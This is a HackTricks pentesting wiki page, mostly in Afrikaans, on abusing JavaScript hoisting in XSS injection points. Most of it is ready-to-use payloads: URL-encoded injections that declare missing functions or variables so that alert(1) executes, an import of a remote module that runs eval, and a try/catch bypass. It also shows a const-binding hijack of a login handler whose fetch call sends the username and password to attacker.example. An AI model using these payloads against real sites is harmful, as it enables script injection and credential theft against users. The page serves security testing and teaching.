JS Hoisting

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

In die JavaScript-taal word ’n meganisme bekend as Hoisting beskryf waar verklarings van veranderlikes, funksies, klasse, of imports konseptueel na die bokant van hul scope verplaas word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript-engine uitgevoer, wat die script in verskeie passe deurloop.

Gedurende die eerste pas parse die engine die kode om na sintaksfoute te kyk en omskakel dit na ’n abstract syntax tree. Hierdie fase sluit hoisting in, ’n proses waar sekere verklarings na die bokant van die uitvoeringkonteks beweeg word. As die parsing-fase suksesvol is, wat aandui dat daar geen sintaksfoute is nie, gaan die script-uitvoering voort.

Dit is belangrik om te verstaan dat:

  1. Die script moet vry wees van sintaksfoute sodat uitvoering kan plaasvind. Sintaksisreëls moet streng nagekom word.
  2. Die plasing van kode binne die script beïnvloed uitvoering as gevolg van hoisting, alhoewel die uitgevoerde kode kan verskil van sy tekstuele voorstelling.

Tipes van Hoisting

Gebaseer op die inligting van MDN, bestaan daar vier onderskeibare tipes hoisting in JavaScript:

  1. Value Hoisting: Maak dit moontlik om ’n veranderlike se waarde binne sy scope te gebruik voor die lyn waar dit verklaar word.
  2. Declaration Hoisting: Laat toe om na ’n veranderlike binne sy scope te verwys voor die verklaring sonder om ’n ReferenceError te veroorsaak, maar die veranderlike se waarde sal undefined wees.
  3. Hierdie tipe verander die gedrag binne sy scope as gevolg van die veranderlike se verklaring voor die werklike verklaringslyn.
  4. Die verklaring se newe-effekte gebeur voordat die res van die kode wat dit bevat geëvalueer word.

In detail vertoon function declarations tipe 1 hoisting-gedrag. Die var sleutelwoord demonstreer tipe 2-gedrag. Lexical declarations, wat let, const, en class insluit, toon tipe 3-gedrag. Laastens is import statements uniek omdat hulle met beide tipe 1 en tipe 4-gedrag gehoist word.

Scenario’s

Dus, as jy scenario’s het waar jy kan Inject JS code after an undeclared object gebruik kan maak, kan jy die fix the syntax deur dit te verklaar (sodat jou kode uitgevoer word in plaas daarvan om ’n fout te gooi):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Meer scenario’s

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting om uitsonderingshantering te omseil

Wanneer die sink ingepak is in try { x.y(...) } catch { ... }, sal ReferenceError die uitvoering stop voordat jou payload loop. Jy kan die ontbrekende identifier vooraf verklaar sodat die oproep oorleef en jou geïnjekteerde uitdrukking eers uitgevoer word:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){} word voor evaluasie gehoist, so die parser gooi nie meer foute op x.y(...) nie; prompt() voer uit voordat y opgelos is, en dan word ’n TypeError gegooi nadat jou kode uitgevoer is.

Voorkom latere deklarasies deur ’n naam met const te blokkeer

As jy kan uitvoer voordat ’n top-level function foo(){...} gepars word, sal die deklarering van ’n leksikale binding met dieselfde naam (bv. const foo = ...) die latere function-deklarasie verhinder om daardie identifiseerder weer te bind. Dit kan in RXSS misbruik word om kritieke handlers wat later op die bladsy gedefinieer is, oor te neem:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Aantekeninge

  • Dit berus op die uitvoeringsorde en die globale (topvlak) scope.
  • As jou payload binne eval() uitgevoer word, onthou dat const/let binne eval block-scoped is en nie globale bindings sal skep nie. Injiseer ’n nuwe <script>-element met die kode om ’n werklike globale const te vestig.

Dinamiese import() met deur gebruiker beheerde spesifiseerders

Server-side rendered apps stuur soms gebruikersinvoer na import() om komponente lui te laai. If a loader such as import-in-the-middle is present, wrapper modules are generated from the specifier. Hoisted import evaluation fetches and executes the attacker-controlled module before subsequent lines run, enabling RCE in SSR contexts (see CVE-2023-38704).

Gereedskap

Moderne scanners het begin om eksplisiete hoisting-payloads by te voeg. KNOXSS v3.6.5 lists “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” and “Hoisting Override” test cases; running it against RXSS contexts that throw ReferenceError/TypeError quickly surfaces hoist-based gadget candidates.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks